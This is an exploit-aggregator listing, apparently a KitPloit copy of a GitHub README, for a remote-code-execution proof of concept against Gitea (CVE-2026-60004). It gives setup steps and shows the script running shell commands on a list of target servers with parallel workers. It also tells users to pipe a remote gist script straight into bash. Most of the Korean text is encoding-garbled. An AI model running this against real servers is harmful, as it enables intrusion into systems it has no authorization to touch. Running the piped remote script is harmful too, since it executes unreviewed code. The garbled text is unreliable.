## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HORKIMHAB-CVE-2026-60004
# CVE-2026-60004
λ보기: https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
## νμ
PayPal λλ μλ QR μ½λλ₯Ό μ€μΊνμ¬ μ΄ νλ‘μ νΈμ μ μ§λ³΄μλ₯Ό μ§μν΄ μ£ΌμΈμ.


## β‘ κ°λ¨ν μ¬μ©λ²
μ΄ νλ‘μ νΈλ λ€μκ³Ό κ°μ μμ νκ³ μΉμΈλ νκ²½μμλ§ μ¬μ©νμΈμ:
* λ‘컬 κ°μ λ¨Έμ
* Docker 컨ν
μ΄λ
* 격리λ μ€νμ€ νκ²½
* μΉμΈλ μΉ¨ν¬ ν
μ€νΈ νκ²½
μμ μ€μ :
root@kitploit:~
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
μμ μ¬μ©λ²:
root@kitploit:~
# 1. Optional global password for lines that omit it
export GITEA_PASSWORD='defaultpass'
# 2. Run (safe first)
python3 gitea_diffpatch_rce_poc.py --targets targets.txt -c 'id' --dry-run
# 3. Real run with 3 workers
python3 gitea_diffpatch_rce_poc.py --targets targets.txt -c 'id; uname -srm; pwd' -w 3
# 4. Classic single-target still works
python3 gitea_diffpatch_rce_poc.py http://127.0.0.1:3000 admin 'id'
μ°Έκ³ :
* λ€λ₯Έ νλ‘μ νΈμμ 볡μ ν κ²½μ° μ€μ²©λ .git λλ ν°λ¦¬λ₯Ό μ 리νλ €λ©΄ `curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y` λͺ
λ Ήμ μ€νν΄μΌ ν©λλ€.
* μ: cve-2025-46822.sh, cve-2025-46822-lab.sh, ...
* * *
## ν¬λ λ§ λλ μ°Έκ³ μλ£
* https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
* * *
# π κ΅μ‘μ© λ³΄μ μ°κ΅¬ μ μ₯μ
ν΅μ λ νκ²½μμ μ¬μ΄λ² 보μ κ°λ
μ νμ΅, ν
μ€νΈ, μ°κ΅¬νκΈ° μν μ μ₯μμ
λλ€.
* * *
## β οΈ λ³΄μ λ° λ²μ κ³ μ§
## λͺ©μ
μ΄ μ μ₯μλ **κ΅μ‘ λ° μΉμΈλ 보μ μ°κ΅¬ μ μ©** μ
λλ€.
μ¬μ©μκ° λ€μμ λν΄ λ°°μ°λλ‘ λκΈ° μν΄ μ€κ³λμμ΅λλ€:
* 보μ μ·¨μ½μ
* μλλ°μ€ λ° κ²©λ¦¬ κ°λ
* μμ ν μ½λ© λ° λ°©μ΄ κ΄ν
* * *
## μΉμΈλ μ¬μ©λ§ νμ©
μ΄ μ μ₯μλ κΆνμ΄ μλ νκ²½μμλ§ μ¬μ©νμΈμ. μ:
* κ°μΈ μ€νμ€ λλ κ°μ λ¨Έμ
* Docker λλ 격리λ νκ²½
* μΉμΈλ μΉ¨ν¬ ν
μ€νΈ
* μ¬μ΄λ² 보μ κ΅μ‘ λλ νμ μ°κ΅¬
μΉμΈλμ§ μμκ±°λ λΆλ²μ μΈ μ¬μ©μ μ격ν κΈμ§λ©λλ€.
* * *
## λ©΄μ±
μ‘°ν
μ μμ κΈ°μ¬μλ μ΄ νλ‘μ νΈλ‘ μΈν΄ λ°μνλ μν΄, μ€μ©, λ²μ λ¬Έμ λλ μμ€μ λν΄ **μ±
μμ μ§μ§ μμ΅λλ€**.
μ΄ μ μ₯μλ₯Ό μ¬μ©ν¨μΌλ‘μ¨ λ€μ μ¬νμ λμνκ² λ©λλ€:
* κ·νλ μμ μ νλμ μ±
μμ΄ μμ΅λλ€
* κ·νλ μ΄λ₯Ό ν©λ²μ μ΄κ³ μ€λ¦¬μ μΌλ‘ μ¬μ©ν κ²μ
λλ€
* μ΄ νλ‘μ νΈλ **λ³΄μ¦ μμ΄** μ 곡λ©λλ€
* * *
## μ€λ¦¬μ μ¬μ©
μ΄ νλ‘μ νΈλ λ€μμ μν΄ κ³ μλμμ΅λλ€:
* λ°©μ΄μ 보μ μ°κ΅¬
* μ¬μ΄λ² 보μ κ΅μ‘
* μ·¨μ½μ μΈμ
* μμ ν μμ€ν
λ° μννΈμ¨μ΄ μ°κ΅¬
μ±
μ μλ κ³΅κ° κ΄νμ λ°λ₯΄κ³ λͺ¨λ μ μ© κ°λ₯ν λ²λ₯ μ μ€μν΄ μ£ΌμΈμ.
* * *
## μ°λ½μ²
μ±
μ μλ κ³΅κ° λλ νμ
μ μν΄ GitHubλ₯Ό ν΅ν΄ μ μ₯μ κ΄λ¦¬μμκ² μ°λ½νμΈμ.